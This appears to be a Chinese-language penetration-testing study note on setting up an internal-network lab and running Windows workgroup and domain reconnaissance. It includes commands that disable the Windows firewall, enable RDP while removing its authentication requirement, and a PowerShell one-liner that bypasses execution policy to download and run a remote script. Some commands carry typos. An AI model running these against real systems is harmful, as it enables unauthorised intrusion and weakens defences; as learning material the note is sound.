内网渗透基础----防火墙构建内网/信息搜集
防火墙构建内网
- 外网:KALI 、WIN7X64
- 防火墙:monowall
- 内网:DC(WIN2012)、WIN7-TEST、WEB边界服务器服务器(KALI)
配置windows server 2012 r2域控服务器(1.1.1.3)、配置防火墙IP(1.1.1.1)配置好互相ping一下
配置好后访问:http://1.1.1.1/(如果无法访问查看网络状态是否为NAT模式)
工作组信息搜集
- 查询网络配置
- 查询用户列表
- 查询进程列表
- 查询操作系统及安装软件版本信息
- 查询端口列表
- 查询补丁列表
- 查询本机共享
- 查询防火墙配置
- 查询并开启远程连接服务
本机信息收集
- 查询网络配置:ipconfig /all 判断是否为内网IP(可能有两块网卡)
- 查询用户列表:net user 查看本机用户列表 net localgroup administrators本地管理员(通常含有域用户) query || qwinsta 查看当前在线用户
- 查询进程列表:tasklist /v 、vmic process list briefWMIC
- 查询操作系统及安装软件版本信息:获取操作系统和版本信息systeminfo | findstr /B/C:"OS Name" /C:"OS Version" 查看安装软件以及版本,路径等:wmic product get name,version、powershell "Get-WmiObject-class Win32_product | Select-Object-Property name,version"
- 查询端口列表:netstat -ano
- 查询补丁列表:Systeminfo、wmic qfe get description,installedOn
- 查询本机共享:net share、net share \hostname 、 wmic share get name,path,status
- 查询防火墙配置:A.Windows Server2003系统及之前版本:netsh firewall set opmode disable、B.Windows Server 2003之后系统版本:netsh advfirewall set allprofiles state off
- 查询并开启远程连接服务:Reg query "hkey_local_machine\system\currentcontrolset\control\terminalserver\winstations\RDP-Tcp" /v portnumber
windows server 2008和windows server 2012开启3389方法:
wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where(_CLASS !="")call setallowtsconnections 1
wmic /namespace:\root\cimv2\terminalservices path win32_terminalservicesetting where(TerminalName='RDP-Tcp') call setuserauthenticationrequired1
reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSinglessSessionPerUser /t REG_DWORD /d 0 /f - 查询当前权限 Whoami、 whoami /all 获取域ID 、net user XXX /domain 查询指定账户详细信息
域内信息搜集
-
判断是否有域
-
域内存货主机探测
-
域内端口扫描
-
域内基础信息搜集
-
域控制器的查找
-
域内用户和管理员的获取
-
判断是否有域:Ipconfig /all、systeminfo、net config workstation(查询当前登陆域)、net time /domain(若提示发生错误拒绝访问,则说明存在域,但当前用户不是域用户 )
-
域内存活主机探测:利用netbios快速探测内网,工具:
nbtscan 使用方法:nbscan.exe IP -
利用icmp协议快速探测内网:
1、ping命令:for/L %I(1,1,254)DO @ping -w 1-n 1 192.168.1.%i | findstr "TTL=" 2、VBS脚本 -
利用arp扫描完整探测内网:工具:
1.arp-scan 命令:arp.exe-t IP
2.invoke-ARPScan.ps1 命令:A远程下载运行 powershell -nop -exec bypass -c "IEX(New-Object Net.WebClient).Downloadstring('http://102.168.1.1/Invoke-ARPScan.ps1');Invoke-ARPScan-CIDR 192.168.1.0/20">>c:\windows\temp\log.txt
B.本地运行 powershell -nop -exec bypass -Command"&{Import-Module C:\windows\temp\Invoke-ARPScan.ps1;Invoke-ARPScan-CIDR 192.168.1.0/20}">>c:\windows\temp\log.txt
c.无条件运行
3.Empire中的arpscan命令
利用常规tcp/udp端口扫描探测内网 工具:scanline 命令:sl -h -t 22,80-89,110,389,445,3389,1099,1433,2049,6379,7001,8080,1521,3306,3389,5432 -u 53,161,137,139 -O c:\windows\temp\sl_res.txt -p 192.168.4.1 -254 /b